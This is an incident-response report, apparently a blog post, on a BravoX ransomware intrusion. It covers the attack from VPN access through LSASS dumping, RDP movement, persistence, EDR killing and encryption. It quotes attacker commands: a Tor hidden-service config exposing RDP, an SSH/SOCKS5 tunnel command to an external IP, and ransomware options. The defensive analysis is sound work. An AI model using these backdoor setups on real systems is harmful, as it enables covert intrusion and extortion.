Initial Access#

As observed with other ransomware groups, the threat actors gained initial access via an SSL VPN that lacked multi-factor authentication (MFA) and, of course, an account with a very weak password, enabling them to access the organisation’s internal network. It is a well-established pattern for threat actors to leverage exposed services to gain an initial foothold in corporate environments. Consequently, it is essential to properly harden such services and enforce MFA to reduce the risk of unauthorised access.

Reconnaissance#

During the reconnaissance phase, the threat actors didn’t reinvent the wheel; instead, they stuck to the well-worn ransomware playbook, relying on widely used tools such as SoftPerfect Network Scanner and Advanced IP Scanner to map the environment. WMI-initiated commands, such as wmic product get name, further highlighted a methodical approach to gathering system information. As the next step in the playbook, the focus shifted to digging through server data, specifically hunting for credentials, VPN access details, and other valuable information that could facilitate the next stages of the attack.

CmdLine:_C:\Windows\System32\cmd.exe /Q /c powershell.exe -noni -nop -w 1 -enc IAB3AG0AaQBjACAAcAByAG8AZAB1AGMAdAAgAGcAZQB0ACAAbgBhAG0AZQA= 1> \Windows\Temp\rZERCU 2>&1

CmdLine:_C:\Windows\System32\cmd.exe /Q /c wmic product get name 1> \Windows\Temp\MNkdjo 2>&1

CmdLine:_C:\Windows\System32\cmd.exe /Q /c wmic product get name 1> C:\windows\temp\13e17740-f424-4e4e-8981-c0919f4064c4.txt 2>&1

Listing 1: Windows Defender detections

Credential Access/Privilege Escalation#

When it came to credential access, the threat actors once again followed the classic playbook. A memory dump of the lsass.exe process (lsass.dmp) was created on a server, hardly a subtle move, but when there is no one watching, there is no judge. Shortly thereafter, a successful authentication using a privileged account was observed. The threat actors didn’t just try their luck; they succeeded in retrieving credentials directly from LSASS memory and wasted no time putting them to good use for privileged access.

Lateral Movement#

For lateral movement, the threat actors opted for a rather “hands-on” approach, making extensive use of RDP to move across systems. Instead of relying on more covert techniques, they appeared perfectly comfortable logging in interactively and hopping from host to host, effectively turning the environment into their own remote workspace. With valid credentials in hand, this method proved both convenient and efficient, hardly stealthy, but clearly effective.

From the first compromised server, they quickly made their way to the Domain Controllers and then circled back to their point of origin. Somewhat unexpectedly, they then went quiet, only to return seven days later, as if picking up exactly where they had left off.

Persistence#

When it came to persistence, things got a bit more creative, and the threat actors showed a touch of individuality. Scheduled tasks may be a classic, but the way they put them to use was anything but boring.

One task, named \Windows Timer, launched a locally stored Tor instance (tor.exe) using a dedicated configuration file. This setup configured a Tor Hidden Service (v3), effectively exposing the local RDP service 127.0.0.1:3389 through the Tor network. In other words, instead of bothering with firewall rules or open ports, they simply made the system reachable via an onion address — quietly turning RDP into an anonymously accessible backdoor.

C:\Windows\wintne\fk\tor\tor.exe -f C:\Windows\wintne\torrc.txt

Listing 2: Task Action \Windows Timer

HiddenServiceDir C:\Windows\wintne\hs

HiddenServicePort 3389 127.0.0.1:3389

HiddenServiceVersion 3

Listing 3: torrc.txt

Another scheduled task, somewhat philosophically named \WindowsUpdateZ, executed C:\Windows\dmw.exe with parameters to establish a SOCKS5 tunnel. The tool was first submitted to VirusTotal on 2025-10-23 and has only one detection: MALICIOUS (DeepInstinct). The analysed PE file represents a custom or repurposed SSH tunnelling utility that establishes an authenticated outbound connection to a remote host and exposes a local SOCKS5 proxy. This enables the threat actors to route traffic through the compromised system, effectively creating a covert pivot point into the internal network while bypassing traditional perimeter controls.

"C:\Windows\dmw.exe" -socks5-port 56555 -host 45[.]61[.]136[.]225 -password <REDACTED> -user <REDACTED> -ssh-port 22

Listing 4: Task Action \WindowsUpdateZ

All parameters are required:
  -host string
        SSH server host
  -password string
        SSH password
  -socks5-port int
        Base port for SOCKS5 proxy
  -ssh-port int
        SSH server port
  -user string
        SSH username

Listing 5: Parameters for dmw.exe

The command initiated an outbound SSH connection (port 22) to an external host while exposing a local SOCKS5 proxy on port 56555. The inclusion of username and password parameters suggests an authenticated tunnel, providing a stable and encrypted communication channel. Altogether, this setup allowed the threat actors to maintain persistent, covert access - no noisy inbound connections required, just neatly tunnelled traffic slipping past perimeter defences.

Defense Evasion#

For defence evasion, BravoX - like many other threat actors - came prepared with a specialised toolkit designed to neutralise security controls. Among these was an EDR killer, fittingly named Killer.exe, alongside a vulnerable driver, vulndriver.sys, which is in fact wsftprm.sys - a known driver used to bypass or disable protection mechanisms. The PE file and the driver work together and communicate via the driver handle \\.\Warsaw_PM. After a quick strings analysis of the PE file - the lazy reverse engineering approach - the EDR Killer targets Microsoft Defender and Sophos EDR processes. Subtlety clearly wasn’t a design priority here; practicality over stealth seems to be the guiding principle.

Before deploying these tools, however, the threat actors first took the more straightforward route and attempted to disable Microsoft Defender via its user interface, because sometimes, the easiest way around security is simply asking it to stand down.

Exfiltration#

For exfiltration, the threat actors reached for a familiar favourite - Rclone. A tool that has earned quite a reputation among threat actors for fairly obvious reasons. Its versatility and seamless integration with a wide range of cloud services make it an ideal choice for quietly moving data out of compromised environments. By blending in with legitimate traffic, Rclone allows operators to package and ship sensitive data off-site with minimal friction - efficient, low-profile, and very much in line with the playbook. Generously, BravoX even shared the volume of stolen data directly in the ransom note, specifying it in gigabytes. However, as is often the case with such figures, a certain degree of inaccuracy should be expected.

Impact#

In terms of impact, the threat actors stuck to familiar territory. Virtual servers had their VMDKs encrypted - a common approach among ransomware groups, and one that tends to make life unnecessarily complicated for DFIR teams. Physical servers, meanwhile, were encrypted at the operating system level, using a conveniently named win.exe, not a masterpiece of creativity, but evidently sufficient for the task at hand. After the encryption routine finished, a ransom note named 00_Recovery_Notes.txt was placed on the systems. Encrypted files were appended with the extension .bx-0000, clearly marking affected data and serving as a reliable indicator of compromise.

C:\Users\<REDACTED>\Desktop\h\win.exe --token <REDACTED> --path-only -p \\<REDACTED>\Transfer --no-elevate`

Listing 6: Execution of the Ransomware

-t, --token       build token
--path-only       shortcut for --no-shadow-rm --no-recycle-wipe --no-drives --no-smb
-p, --path        enqueue path
--no-elevate      disable auto elevation

--no-shadow-rm    disable shadow copies remove
--no-recycle-wipe disable recycle bin wipe
--no-drives       disable local drives encrypt
--no-smb          disable smb encryption

Listing 7: Options used for the Ransomware